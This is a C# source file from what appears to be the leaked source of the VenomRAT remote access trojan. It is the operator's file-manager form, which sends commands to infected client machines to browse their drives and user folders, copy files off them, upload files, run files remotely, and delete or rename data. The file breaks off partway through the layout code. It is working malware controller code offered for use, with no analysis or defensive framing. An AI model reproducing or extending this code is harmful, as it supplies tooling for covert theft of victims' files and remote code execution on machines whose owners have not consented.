VenomRat-SourceCode/Forms/FormFileManager.cs
2023-07-29 23:37:10 +05:30

908 lines
34 KiB
C#

using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraBars;
using DevExpress.XtraEditors;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Microsoft.VisualBasic;
using Server.Connection;
using Server.Properties;
namespace Server.Forms;
public class FormFileManager : XtraForm
{
private IContainer components;
public ListView listViewExplorer;
public ImageList imageList1;
public StatusStrip statusStrip1;
public ToolStripStatusLabel toolStripStatusLabel1;
public ToolStripStatusLabel toolStripStatusLabel2;
public ToolStripStatusLabel toolStripStatusLabel3;
public System.Windows.Forms.Timer timer1;
private ColumnHeader columnHeader1;
private ColumnHeader columnHeader2;
private PopupMenu popupMenuFileManager;
private BarButtonItem BackMenu;
private BarButtonItem RefreshMenu;
private BarSubItem barSubItem1;
private BarButtonItem GotoDesktopMenu;
private BarButtonItem GotoAppDataMenu;
private BarButtonItem GotoUserProfileMenu;
private BarButtonItem GotoDriversMenu;
private BarButtonItem DownloadMenu;
private BarButtonItem UploadMenu;
private BarButtonItem ExecuteMenu;
private BarButtonItem RenameMenu;
private BarButtonItem CopyMenu;
private BarButtonItem CutMenu;
private BarButtonItem PasteMenu;
private BarSubItem barSubItem2;
private BarButtonItem InstallZipMenu;
private BarButtonItem ZipFolderMenu;
private BarButtonItem UnzipMenu;
private BarButtonItem MakeNewFolderMenu;
private BarButtonItem OpenClientFolderMenu;
private BarManager barManager1;
private BarDockControl barDockControlTop;
private BarDockControl barDockControlBottom;
private BarDockControl barDockControlLeft;
private BarDockControl barDockControlRight;
private BarButtonItem DeleteMenu;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
public FormMain F { get; set; }
internal Clients Client { get; set; }
public string FullPath { get; set; }
public FormFileManager()
{
InitializeComponent();
}
private void listView1_DoubleClick(object sender, EventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count == 1)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = listViewExplorer.SelectedItems[0].ToolTipText;
listViewExplorer.Enabled = false;
toolStripStatusLabel3.ForeColor = Color.Green;
toolStripStatusLabel3.Text = "Please Wait";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
}
}
private void Timer1_Tick(object sender, EventArgs e)
{
try
{
if (!Client.TcpClient.Connected)
{
Close();
}
}
catch
{
Close();
}
}
private void FormFileManager_FormClosed(object sender, FormClosedEventArgs e)
{
ThreadPool.QueueUserWorkItem(delegate
{
Client?.Disconnected();
});
}
private void listViewExplorer_MouseUp(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
popupMenuFileManager.ShowPopup(listViewExplorer.PointToScreen(e.Location));
}
}
private void GotoAppDataMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = "APPDATA";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void BackMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
MsgPack msgPack = new MsgPack();
string text = toolStripStatusLabel1.Text;
if (text.Length <= 3)
{
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getDrivers";
toolStripStatusLabel1.Text = "";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
else
{
text = text.Remove(text.LastIndexOfAny(new char[1] { '\\' }, text.LastIndexOf('\\')));
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = text + "\\";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack2.ForcePathObject("Command").AsString = "getDrivers";
toolStripStatusLabel1.Text = "";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
}
}
private void CopyMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
StringBuilder stringBuilder = new StringBuilder();
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
stringBuilder.Append(selectedItem.ToolTipText + "-=>");
}
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "copyFile";
msgPack.ForcePathObject("File").AsString = stringBuilder.ToString();
msgPack.ForcePathObject("IO").AsString = "copy";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void CutMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
StringBuilder stringBuilder = new StringBuilder();
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
stringBuilder.Append(selectedItem.ToolTipText + "-=>");
}
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "copyFile";
msgPack.ForcePathObject("File").AsString = stringBuilder.ToString();
msgPack.ForcePathObject("IO").AsString = "cut";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void GotoDesktopMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = "DESKTOP";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void DownloadMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)))
{
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID));
}
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
if (selectedItem.ImageIndex == 0 && selectedItem.ImageIndex == 1 && selectedItem.ImageIndex == 2)
{
break;
}
MsgPack msgPack = new MsgPack();
string dwid = Guid.NewGuid().ToString();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "socketDownload";
msgPack.ForcePathObject("File").AsString = selectedItem.ToolTipText;
msgPack.ForcePathObject("DWID").AsString = dwid;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
BeginInvoke((MethodInvoker)delegate
{
if ((FormDownloadFile)Application.OpenForms["socketDownload:" + dwid] == null)
{
FormDownloadFile formDownloadFile = new FormDownloadFile();
formDownloadFile.Name = "socketDownload:" + dwid;
formDownloadFile.Text = "SocketDownload from " + Client.Ip;
formDownloadFile.F = F;
formDownloadFile.DirPath = FullPath;
formDownloadFile.Show();
}
});
}
}
catch
{
}
}
private void GotoDriversMenu_ItemClick(object sender, ItemClickEventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getDrivers";
toolStripStatusLabel1.Text = "";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void ExecuteMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "execute";
msgPack.ForcePathObject("File").AsString = selectedItem.ToolTipText;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
}
}
private void InstallZipMenu_ItemClick(object sender, ItemClickEventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "installZip";
msgPack.ForcePathObject("exe").SetAsBytes(Resources._7z);
msgPack.ForcePathObject("dll").SetAsBytes(Resources._7z1);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void MakeNewFolderMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
string text = Interaction.InputBox("Create Folder", "Name", Path.GetRandomFileName().Replace(".", ""));
if (!string.IsNullOrEmpty(text))
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "createFolder";
msgPack.ForcePathObject("Folder").AsString = Path.Combine(toolStripStatusLabel1.Text, text);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
}
}
private void OpenClientFolderMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (!Directory.Exists(FullPath))
{
Directory.CreateDirectory(FullPath);
}
Process.Start(FullPath);
}
catch
{
}
}
private void PasteMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "pasteFile";
msgPack.ForcePathObject("File").AsString = toolStripStatusLabel1.Text;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void RefreshMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (toolStripStatusLabel1.Text != "")
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
else
{
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack2.ForcePathObject("Command").AsString = "getDrivers";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
}
}
catch
{
}
}
private void RenameMenu_ItemClick(object sender, ItemClickEventArgs e)
{
if (listViewExplorer.SelectedItems.Count != 1)
{
return;
}
try
{
string text = Interaction.InputBox("Rename File or Folder", "Name", listViewExplorer.SelectedItems[0].Text);
if (!string.IsNullOrEmpty(text))
{
if (listViewExplorer.SelectedItems[0].ImageIndex != 0 && listViewExplorer.SelectedItems[0].ImageIndex != 1 && listViewExplorer.SelectedItems[0].ImageIndex != 2)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "renameFile";
msgPack.ForcePathObject("File").AsString = listViewExplorer.SelectedItems[0].ToolTipText;
msgPack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, text);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
else if (listViewExplorer.SelectedItems[0].ImageIndex == 0)
{
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack2.ForcePathObject("Command").AsString = "renameFolder";
msgPack2.ForcePathObject("Folder").AsString = listViewExplorer.SelectedItems[0].ToolTipText + "\\";
msgPack2.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, text);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
}
}
}
catch
{
}
}
private void UnzipMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "zip";
msgPack.ForcePathObject("Path").AsString = selectedItem.ToolTipText;
msgPack.ForcePathObject("Zip").AsString = "false";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
}
}
private void UploadMenu_ItemClick(object sender, ItemClickEventArgs e)
{
if (toolStripStatusLabel1.Text.Length < 3)
{
return;
}
try
{
OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Multiselect = true;
if (openFileDialog.ShowDialog() != DialogResult.OK)
{
return;
}
string[] fileNames = openFileDialog.FileNames;
foreach (string text in fileNames)
{
FormDownloadFile formDownloadFile = (FormDownloadFile)Application.OpenForms["socketDownload:"];
if (formDownloadFile == null)
{
formDownloadFile = new FormDownloadFile
{
Name = "socketUpload:" + Guid.NewGuid().ToString(),
Text = "socketUpload:" + Client.ID,
F = Program.mainform,
Client = Client
};
formDownloadFile.FileSize = new FileInfo(text).Length;
formDownloadFile.labelfile.Text = Path.GetFileName(text);
formDownloadFile.FullFileName = text;
formDownloadFile.label1.Text = "Upload:";
formDownloadFile.ClientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(text);
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "reqUploadFile";
msgPack.ForcePathObject("ID").AsString = formDownloadFile.Name;
formDownloadFile.Show();
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
}
catch
{
}
}
private void GotoUserProfileMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = "USER";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void ZipFolderMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
StringBuilder stringBuilder = new StringBuilder();
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
stringBuilder.Append(selectedItem.ToolTipText + "-=>");
}
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "zip";
msgPack.ForcePathObject("Path").AsString = stringBuilder.ToString();
msgPack.ForcePathObject("Zip").AsString = "true";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void DeleteMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
if (selectedItem.ImageIndex != 0 && selectedItem.ImageIndex != 1 && selectedItem.ImageIndex != 2)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "deleteFile";
msgPack.ForcePathObject("File").AsString = selectedItem.ToolTipText;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
else if (selectedItem.ImageIndex == 0)
{
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack2.ForcePathObject("Command").AsString = "deleteFolder";
msgPack2.ForcePathObject("Folder").AsString = selectedItem.ToolTipText;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
}
}
}
catch
{
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.ListViewGroup listViewGroup = new System.Windows.Forms.ListViewGroup("Folders", System.Windows.Forms.HorizontalAlignment.Left);
System.Windows.Forms.ListViewGroup listViewGroup2 = new System.Windows.Forms.ListViewGroup("File", System.Windows.Forms.HorizontalAlignment.Left);
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormFileManager));
this.listViewExplorer = new System.Windows.Forms.ListView();
this.columnHeader1 = new System.Windows.Forms.ColumnHeader();
this.columnHeader2 = new System.Windows.Forms.ColumnHeader();
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.popupMenuFileManager = new DevExpress.XtraBars.PopupMenu(this.components);
this.BackMenu = new DevExpress.XtraBars.BarButtonItem();
this.RefreshMenu = new DevExpress.XtraBars.BarButtonItem();
this.barSubItem1 = new DevExpress.XtraBars.BarSubItem();
this.GotoDesktopMenu = new DevExpress.XtraBars.BarButtonItem();
this.GotoAppDataMenu = new DevExpress.XtraBars.BarButtonItem();
this.GotoUserProfileMenu = new DevExpress.XtraBars.BarButtonItem();
this.GotoDriversMenu = new DevExpress.XtraBars.BarButtonItem();
this.DownloadMenu = new DevExpress.XtraBars.BarButtonItem();
this.UploadMenu = new DevExpress.XtraBars.BarButtonItem();
this.ExecuteMenu = new DevExpress.XtraBars.BarButtonItem();
this.RenameMenu = new DevExpress.XtraBars.BarButtonItem();
this.CopyMenu = new DevExpress.XtraBars.BarButtonItem();
this.CutMenu = new DevExpress.XtraBars.BarButtonItem();
this.PasteMenu = new DevExpress.XtraBars.BarButtonItem();
this.DeleteMenu = new DevExpress.XtraBars.BarButtonItem();
this.barSubItem2 = new DevExpress.XtraBars.BarSubItem();
this.InstallZipMenu = new DevExpress.XtraBars.BarButtonItem();
this.ZipFolderMenu = new DevExpress.XtraBars.BarButtonItem();
this.UnzipMenu = new DevExpress.XtraBars.BarButtonItem();
this.MakeNewFolderMenu = new DevExpress.XtraBars.BarButtonItem();
this.OpenClientFolderMenu = new DevExpress.XtraBars.BarButtonItem();
this.barManager1 = new DevExpress.XtraBars.BarManager(this.components);
this.barDockControlTop = new DevExpress.XtraBars.BarDockControl();
this.barDockControlBottom = new DevExpress.XtraBars.BarDockControl();
this.barDockControlLeft = new DevExpress.XtraBars.BarDockControl();
this.barDockControlRight = new DevExpress.XtraBars.BarDockControl();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
this.statusStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.popupMenuFileManager).BeginInit();
((System.ComponentModel.ISupportInitialize)this.barManager1).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
base.SuspendLayout();
this.listViewExplorer.AllowColumnReorder = true;
this.listViewExplorer.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.listViewExplorer.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.listViewExplorer.Columns.AddRange(new System.Windows.Forms.ColumnHeader[2] { this.columnHeader1, this.columnHeader2 });
this.listViewExplorer.Dock = System.Windows.Forms.DockStyle.Fill;
this.listViewExplorer.ForeColor = System.Drawing.Color.Gainsboro;
listViewGroup.Header = "Folders";
listViewGroup.Name = "Folders";
listViewGroup2.Header = "File";
listViewGroup2.Name = "File";
this.listViewExplorer.Groups.AddRange(new System.Windows.Forms.ListViewGroup[2] { listViewGroup, listViewGroup2 });
this.listViewExplorer.HideSelection = false;
this.listViewExplorer.LargeImageList = this.imageList1;
this.listViewExplorer.Location = new System.Drawing.Point(0, 0);
this.listViewExplorer.Margin = new System.Windows.Forms.Padding(2);
this.listViewExplorer.Name = "listViewExplorer";
this.listViewExplorer.ShowItemToolTips = true;
this.listViewExplorer.Size = new System.Drawing.Size(820, 379);
this.listViewExplorer.SmallImageList = this.imageList1;
this.listViewExplorer.TabIndex = 0;
this.listViewExplorer.UseCompatibleStateImageBehavior = false;
this.listViewExplorer.View = System.Windows.Forms.View.Tile;
this.listViewExplorer.DoubleClick += new System.EventHandler(listView1_DoubleClick);
this.listViewExplorer.MouseUp += new System.Windows.Forms.MouseEventHandler(listViewExplorer_MouseUp);
this.imageList1.ImageStream = (System.Windows.Forms.ImageListStreamer)resources.GetObject("imageList1.ImageStream");
this.imageList1.TransparentColor = System.Drawing.Color.Transparent;
this.imageList1.Images.SetKeyName(0, "AsyncFolder.ico");
this.imageList1.Images.SetKeyName(1, "AsyncHDDFixed.png");
this.imageList1.Images.SetKeyName(2, "AsyncUSB.png");
this.statusStrip1.AutoSize = false;
this.statusStrip1.BackColor = System.Drawing.Color.FromArgb(30, 30, 30);
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[3] { this.toolStripStatusLabel1, this.toolStripStatusLabel2, this.toolStripStatusLabel3 });
this.statusStrip1.Location = new System.Drawing.Point(0, 410);
this.statusStrip1.Name = "statusStrip1";
this.statusStrip1.Padding = new System.Windows.Forms.Padding(1, 0, 10, 0);
this.statusStrip1.Size = new System.Drawing.Size(822, 26);
this.statusStrip1.SizingGrip = false;
this.statusStrip1.TabIndex = 2;
this.statusStrip1.Text = "statusStrip1";
this.toolStripStatusLabel1.Name = "toolStripStatusLabel1";
this.toolStripStatusLabel1.Size = new System.Drawing.Size(13, 21);
this.toolStripStatusLabel1.Text = "..";
this.toolStripStatusLabel2.Name = "toolStripStatusLabel2";
this.toolStripStatusLabel2.Size = new System.Drawing.Size(13, 21);
this.toolStripStatusLabel2.Text = "..";
this.toolStripStatusLabel3.ForeColor = System.Drawing.Color.Red;
this.toolStripStatusLabel3.Name = "toolStripStatusLabel3";
this.toolStripStatusLabel3.Size = new System.Drawing.Size(13, 21);
this.toolStripStatusLabel3.Text = "..";
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(Timer1_Tick);
this.popupMenuFileManager.LinksPersistInfo.AddRange(new DevExpress.XtraBars.LinkPersistInfo[14]
{
new DevExpress.XtraBars.LinkPersistInfo(this.BackMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.RefreshMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.barSubItem1),
new DevExpress.XtraBars.LinkPersistInfo(this.DownloadMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.UploadMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.ExecuteMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.RenameMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.CopyMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.CutMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.PasteMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.DeleteMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.barSubItem2),
new DevExpress.XtraBars.LinkPersistInfo(this.MakeNewFolderMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.OpenClientFolderMenu)
});
this.popupMenuFileManager.Manager = this.barManager1;
this.popupMenuFileManager.Name = "popupMenuFileManager";
this.BackMenu.Caption = "Back";
this.BackMenu.Id = 0;
this.BackMenu.Name = "BackMenu";
this.BackMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(BackMenu_ItemClick);
this.RefreshMenu.Caption = "Refresh";
this.RefreshMenu.Id = 1;
this.RefreshMenu.Name = "RefreshMenu";
this.RefreshMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(RefreshMenu_ItemClick);
this.barSubItem1.Caption = "Goto";
this.barSubItem1.Id = 2;
this.barSubItem1.LinksPersistInfo.AddRange(new DevExpress.XtraBars.LinkPersistInfo[4]
{
new DevExpress.XtraBars.LinkPersistInfo(this.GotoDesktopMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.GotoAppDataMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.GotoUserProfileMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.GotoDriversMenu)
});
this.barSubItem1.Name = "barSubItem1";
this.GotoDesktopMenu.Caption = "Desktop";
this.GotoDesktopMenu.Id = 13;
this.GotoDesktopMenu.Name = "GotoDesktopMenu";
this.GotoDesktopMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(GotoDesktopMenu_ItemClick);
this.GotoAppDataMenu.Caption = "AppData";
this.GotoAppDataMenu.Id = 17;
this.GotoAppDataMenu.Name = "GotoAppDataMenu";
this.GotoAppDataMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(GotoAppDataMenu_ItemClick);
this.GotoUserProfileMenu.Caption = "User Profile";
this.GotoUserProfileMenu.Id = 18;
this.GotoUserProfileMenu.Name = "GotoUserProfileMenu";
this.GotoUserProfileMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(GotoUserProfileMenu_ItemClick);
this.GotoDriversMenu.Caption = "Drivers";
this.GotoDriversMenu.Id = 19;
this.GotoDriversMenu.Name = "GotoDriversMenu";
this.GotoDriversMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(GotoDriversMenu_ItemClick);
this.DownloadMenu.Caption = "Download";
this.DownloadMenu.Id = 3;
this.DownloadMenu.Name = "DownloadMenu";
this.DownloadMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(DownloadMenu_ItemClick);
this.UploadMenu.Caption = "Upload";
this.UploadMenu.Id = 4;
this.UploadMenu.Name = "UploadMenu";
this.UploadMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(UploadMenu_ItemClick);
this.ExecuteMenu.Caption = "Execute";
this.ExecuteMenu.Id = 5;
this.ExecuteMenu.Name = "ExecuteMenu";
this.ExecuteMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(ExecuteMenu_ItemClick);
this.RenameMenu.Caption = "Rename";
this.RenameMenu.Id = 6;
this.RenameMenu.Name = "RenameMenu";
this.RenameMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(RenameMenu_ItemClick);
this.CopyMenu.Caption = "Copy";
this.CopyMenu.Id = 7;
this.CopyMenu.Name = "CopyMenu";
this.CopyMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(CopyMenu_ItemClick);
this.CutMenu.Caption = "Cut";
this.CutMenu.Id = 8;
this.CutMenu.Name = "CutMenu";
this.CutMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(CutMenu_ItemClick);
this.PasteMenu.Caption = "Paste";
this.PasteMenu.Id = 9;
this.PasteMenu.Name = "PasteMenu";
this.PasteMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(PasteMenu_ItemClick);
this.DeleteMenu.Caption = "Delete";
this.DeleteMenu.Id = 20;
this.DeleteMenu.Name = "DeleteMenu";
this.DeleteMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(DeleteMenu_ItemClick);
this.barSubItem2.Caption = "7-Zip";
this.barSubItem2.Id = 10;
this.barSubItem2.LinksPersistInfo.AddRange(new DevExpress.XtraBars.LinkPersistInfo[3]
{
new DevExpress.XtraBars.LinkPersistInfo(this.InstallZipMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.ZipFolderMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.UnzipMenu)
});
this.barSubItem2.Name = "barSubItem2";
this.InstallZipMenu.Caption = "Install";
this.InstallZipMenu.Id = 14;
this.InstallZipMenu.Name = "InstallZipMenu";
this.InstallZipMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(InstallZipMenu_ItemClick);
this.ZipFolderMenu.Caption = "Zip";
this.ZipFolderMenu.Id = 15;
this.ZipFolderMenu.Name = "ZipFolderMenu";
this.ZipFolderMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(ZipFolderMenu_ItemClick);
this.UnzipMenu.Caption = "UnZip";
this.UnzipMenu.Id = 16;
this.UnzipMenu.Name = "UnzipMenu";
this.UnzipMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(UnzipMenu_ItemClick);
this.MakeNewFolderMenu.Caption = "New Folder";
this.MakeNewFolderMenu.Id = 11;
this.MakeNewFolderMenu.Name = "MakeNewFolderMenu";
this.MakeNewFolderMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(MakeNewFolderMenu_ItemClick);
this.OpenClientFolderMenu.Caption = "Open Client folder";
this.OpenClientFolderMenu.Id = 12;
this.OpenClientFolderMenu.Name = "OpenClientFolderMenu";
this.OpenClientFolderMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(OpenClientFolderMenu_ItemClick);
this.barManager1.DockControls.Add(this.barDockControlTop);
this.barManager1.DockControls.Add(this.barDockControlBottom);
this.barManager1.DockControls.Add(this.barDockControlLeft);
this.barManager1.DockControls.Add(this.barDockControlRight);
this.barManager1.Form = this;
this.barManager1.Items.AddRange(new DevExpress.XtraBars.BarItem[21]
{
this.BackMenu, this.RefreshMenu, this.barSubItem1, this.DownloadMenu, this.UploadMenu, this.ExecuteMenu, this.RenameMenu, this.CopyMenu, this.CutMenu, this.PasteMenu,
